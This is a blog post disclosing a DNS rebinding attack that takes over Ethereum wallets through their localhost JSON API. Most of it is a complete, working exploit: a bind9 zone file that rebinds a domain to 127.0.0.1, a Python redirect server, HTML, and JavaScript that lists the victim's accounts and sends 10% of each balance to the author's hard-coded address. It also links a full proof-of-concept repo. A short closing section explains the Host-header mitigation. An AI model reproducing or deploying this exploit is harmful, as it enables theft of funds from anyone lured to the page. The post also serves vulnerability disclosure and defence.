Walking Past Same-origin Policy, NAT, and Firewall for Ethereum Wallet Control

This vulnerability was originally reported to the Etherum Bug Bounty on June 12th, 2016. As far as I can tell no clients have been patched and any developer made aware of this has since forgotten. I want to be clear, I’m publishing this instead of following up with Ethereum because their reaction to the DAO Attack pissed me off and I’m bored with crypto-currencies in general. The cypherpunk, anarchist future wasn’t supposed to be about stronger banking guarantees and wealth redistribution among Reddit users. I’ve got other things to do, cya.

DNS Rebinding

At the core of this attack is a DNS Rebinding vulnerability, I remember learning about this years ago from RSnake on either ha.ckers.org or xssed.com. A copy of RSnake’s original DNS Rebinding exlpainer video can be found here https://www.youtube.com/watch?v=FIQGKIE3Fv0. For those already familiar with the concepts of DNS and Same-origin Policy the explanation for malicious domain eth.rhodey.org is pretty simple:

  1. Publish two DNS A Records, one with the legitimate IP Address, the other with 127.0.0.1
  2. Direct a victim to visit http://eth.rhodey.org
  3. Serve some JavaScript (scam.js) from eth.rhodey.org
  4. After serving, blackhole the victim’s IP Address using iptables
  5. All AJAX requests to eth.rhodey.org from scam.js now hit 127.0.0.1

DNS Rebinding attacks are so bizarre because all the hostile traffic you’d usually mitigate through NAT or firewall is coming from inside the network, and in this case the victim machine is actually attacking itself! This attack makes it past Same-origin Policy because same-origin cares about domain names and not IP Addresses.

The Attack

All Ethereum wallets have a builtin API that exposes full control of the wallet over a JSON HTTP interface, this is what we’ll be attacking. This API is not always enabled by default but enabling it is a prerequisite for using any DAPPS (Decentralized Application) and If you’re running Mist Browser the JSON API is definitely enabled. The current understanding within the Ethereum community is that it’s OK to leave the JSON API enabled as long as you’ve restricted access to localhost, works for us (✿◠‿◠)

Nameserver Configuration

The nameserver I’m using is bind9 and the malicious domain will be eth.rhodey.org. It is crucial that the legitimate IP Address of eth.rhodey.org be served before 127.0.0.1, to do this you must compile bind9 from source with the — enable-fixed-rrset option and set rrset-order in your configuration.

### /etc/bind/named.conf.options
options {
directory "/var/cache/bind";
dnssec-validation auto;
auth-nxdomain no;
listen-on-v6 { any; };
recursion no;
allow-transfer { none; };
rrset-order { order fixed; };
};
### /etc/bind/zones/db.rhodey.org
$TTL 1800
@ IN SOA ns1.rhodey.org. rhodey.anhonesteffort.org. (
2016061209 ; Serial
1800 ; Refresh
180 ; Retry
2419200 ; Expire
1800 ) ; Negative Cache TTL
;
; Name servers
rhodey.org. IN NS ns1.rhodey.org.
rhodey.org. IN NS ns2.rhodey.org.
; Name server A records
ns1 IN A 173.255.255.43
ns2 IN A 173.255.255.43
; Other A records
@ IN A 173.255.255.43
eth IN A 173.255.255.43
eth IN A 127.0.0.1

Pretty Lil’ Redirect

The Ethereum JSON API listens on port 8545 which means to satisfy Same-origin Policy we’ll need to serve all our JavaScript from 8545 as well, but http://eth.rhodey.org:8545 looks hella shady so we use a HTTP 307 to bounce http://rhodey.org to http://eth.rhodey.org:8545.

import BaseHTTPServer
import time
OUR_HOST  = "rhodey.org"
OUR_PORT = 80
NEXT_HOST = "eth.rhodey.org"
NEXT_PORT = "8545"
REDIRECT = "http://" + NEXT_HOST + ":" + NEXT_PORT
class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_HEAD(s):
s.send_response(307)
s.send_header("Location", REDIRECT)
s.end_headers()
def do_GET(s):
s.do_HEAD()
if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((OUR_HOST, OUR_PORT), RedirectHandler)
print time.asctime(), "Server Starts - %s:%s" % (OUR_HOST, OUR_PORT)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print time.asctime(), "Server Stops - %s:%s" % (OUR_HOST, OUR_PORT)

The HTML

After redirecting the victim to our malicious domain we serve some very basic HTML.

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>taker</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
</head>
<body>
<div id="logDiv"></div>
<script src="scam.js"></script>
</body>
</html>

The JavaScript

This JavaScript we serve does a few things:

  1. send a HTTP GET request to http://eth.rhodey.org/goodbye, triggering the iptables blackhole
  2. retrieve a list of Ethereum accounts from the wallet’s API
  3. send %10 of each account’s balance to my Ethereum account

Between step 1 and 2 the victim’s IP Address has been blackholed by iptables such that the browser receives a TCP RST, this causes the browser to move onto the next record for eth.rhodey.org which is 127.0.0.1… rebind complete. Communication between JavaScript and the Ethereum JSON API is made possible by the Ethereum web3.js library.

var BigNumber    = require('big-number');
var DEST_ADDRESS = "0x3ffc132784c89a7edda93e3ad3d669ab6c013cfd";
var web3 = null;
var logHtml = "";
function getHref() {
var parts = window.location.href.split("/");
return parts[0] + "//" + parts[2];
}
function log(msg) {
var logDiv = document.getElementById("logDiv");
logHtml += ("<br/>" + msg);
logDiv.innerHTML = logHtml;
}
function initW3() {
log("initializing w3...");
var Web3 = require('web3');
web3 = new Web3();
  web3.setProvider(new web3.providers.HttpProvider(getHref()));
}
function takeEthFrom(address) {
log("getting balance for account " + address + "...");
var balanceWei = web3.eth.getBalance(address);
var takeWei = balanceWei.div(10);
var txn = {
from : address,
to : DEST_ADDRESS,
value : takeWei
};
  log("sending transaction -> " + JSON.stringify(txn, null, 2));
web3.eth.sendTransaction(txn, function(err, result) {
if (!err) {
log("transaction succeeded with result -> " + result);
} else {
log("transaction failed with error -> " + err);
}
});
}
function takeEth() {
log("getting account list...");
var accounts = web3.eth.accounts;
for (var i = 0; i < accounts.length; i++) {
takeEthFrom(accounts[i]);
}
}
function sayGoodbye() {
log("rebinding dns...");
$.ajax({
type: 'GET',
url: '/goodbye',
success: function(data, status, xhr) {
initW3();
takeEth();
},
error: function (data, status, error) {
log("xhr /goodbye failed, status -> " + status + " error -> " + error);
}
});
}
sayGoodbye();

What Just Happened?

We gained control of a victim’s Ethereum wallet simply by getting them to visit http://rhodey.org, bypassing any NAT or firewall they had in place.

Mitigation

Mitigating DNS Rebinding vulnerabilities is very simple: always check HTTP Host headers. The HTTP requests that hit the victim wallet API have the host header set to eth.rhodey.org signaling that something is very obviously not right.

Ethereum has already done a bit to lock down the most powerful API capabilities, namely anything to do with constructing or sending a transaction. Now to send a transaction one must “unlock” the wallet with their password and specify the duration of time they wish the wallet to remain unlocked. Sneaking an API call in while the wallet is unlocked is difficult but definitely not impossible, especially if you hide this attack in an advertisement or browser extension. Note that wallet locking protection does nothing to prevent de-anonymizing or spying on account balances.

Proof-of-concept Source

Everything you need to perform this attack can be found here in my Github repo. I even wrote you some nice systemd service wrappers for the python redirect and iptables blackhole servers. This proof-of-concept has been running live on rhodey.org ever since I first reported this exploit to the Ethereum Bug Bounty program but they’ve yet to visit.

Donations?

If you think it’s lame that Ethereum brushed off my bug bounty submission, or got a laugh out of seeing another Ethereum bug, or are just happy to learn about DNS Rebinding feel free to send me some BTC or ETH.

Mad? Mine about it *\0/*

btc -> 13QQdpXoktH8axnY3K6Lvu1DyBGbq3CPQM
eth -> 0x3ffc132784c89a7edda93e3ad3d669ab6c013cfd